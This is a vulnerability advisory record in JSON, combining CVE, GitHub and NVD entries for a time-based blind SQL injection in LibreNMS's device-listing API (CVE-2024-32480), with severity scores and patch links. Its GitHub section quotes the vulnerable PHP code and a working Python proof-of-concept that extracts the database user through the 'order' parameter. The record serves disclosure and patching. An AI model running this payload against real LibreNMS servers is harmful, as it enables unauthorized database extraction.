{"id":"CVE-2024-32480","aliases":["CVE-2024-32480","GHSA-jh57-j3vq-h438"],"related":[],"kind":"vulnerability","state":"published","title":"LibreNMS's Time-Based Blind SQL injection leads to database extraction","summary":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Versions prior to 24.4.0 are vulnerable to SQL injection. The `order` parameter is obtained from `$request`. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability. An attacker may extract a whole database this way. Version 24.4.0 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Versions prior to 24.4.0 are vulnerable to SQL injection. The `order` parameter is obtained from `$request`. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability. An attacker may extract a whole database this way. Version 24.4.0 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nGet a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0\n\n### Details\nin file `api_functions.php`, line 307 for function list_devices\n\n```php\n$order = $request->get('order');\n    $type = $request->get('type');\n    $query = $request->get('query');\n    $param = [];\n\n    if (empty($order)) {\n        $order = 'hostname';\n    }\n\n    if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {\n        $order = 'd.`' . $order . '` ASC';\n    }\n    /* ... */\n    $devices = [];\n    $dev_query = \"SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order\";\n    foreach (dbFetchRows($dev_query, $param) as $device) {\n```\nThe \"order\" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.\n\n### PoC\nFor example. this PoC is get current db user\n```python\nimport string\nimport requests\n\nheaders = {\n\t'X-Auth-Token': 'token_string'\n}\nreq = requests.Session()\npayloads = '_-@.,' + string.digits + string.ascii_letters\nurl = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'\nresult = 'user: '\nfor i in range(10):\n\tfor payload in payloads:\n\t\ttry:\n\t\t\treq.get(url % (i+1, ord(payload)), headers=headers, timeout=3)\n\t\texcept requests.exceptions.ReadTimeout as ex:\n\t\t\tresult += payload\n\t\t\tprint(result),\n\t\texcept Exception as e:\n\t\t\tpass\n```\n![QQ截图20240306181404](https://github.com/librenms/librenms/assets/11938870/017cc413-ce1e-45a2-b0f1-a0ae83bbbeee)\n\n### Impact\nAttacker can extract whole database","format":"markdown","source":"ghsa"},{"lang":"es","text":"LibreNMS es un sistema de monitoreo de red de código abierto basado en PHP/MySQL/SNMP. Las versiones anteriores a la 24.4.0 son vulnerables a la inyección SQL. El parámetro `order` se obtiene de `$request`. Después de realizar una verificación de cadena, el valor se incorpora directamente a una declaración SQL y se concatena, lo que genera una vulnerabilidad de inyección SQL. Un atacante puede extraer una base de datos completa de esta manera. La versión 24.4.0 soluciona el problema.","source":"nvd"}],"published":"2024-04-22T18:37:35.000Z","modified":"2026-09-10T03:50:12.848Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 24.4.0","status":"affected"}],"vendor":"librenms","product":"librenms","source":"cvelist"},{"ranges":[{"version":"*","status":"affected"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"24.4.0"}],"ecosystem":"Packagist","package":"librenms/librenms","purl":"pkg:composer/librenms/librenms","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"24.4.0"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-jh57-j3vq-h438","tags":["exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/librenms/librenms/commit/83fe4b10c440d69a47fe2f8616e290ba2bd3a27c","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32480","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2024-04-23T00:21:00.605Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-32480","url":"https://www.cve.org/CVERecord?id=CVE-2024-32480","licence":"CVE Terms of Use","modified":"2024-08-02T02:13:39.173Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jh57-j3vq-h438","url":"https://github.com/advisories/GHSA-jh57-j3vq-h438","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:12.848Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-32480","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32480","licence":"Public domain","modified":"2026-06-17T07:29:42.600Z"}],"updatedAt":"2026-11-25T22:58:39.518Z","epss":{"score":0.2028,"percentile":0.97531,"date":"2026-12-01T12:00:22.000Z"}}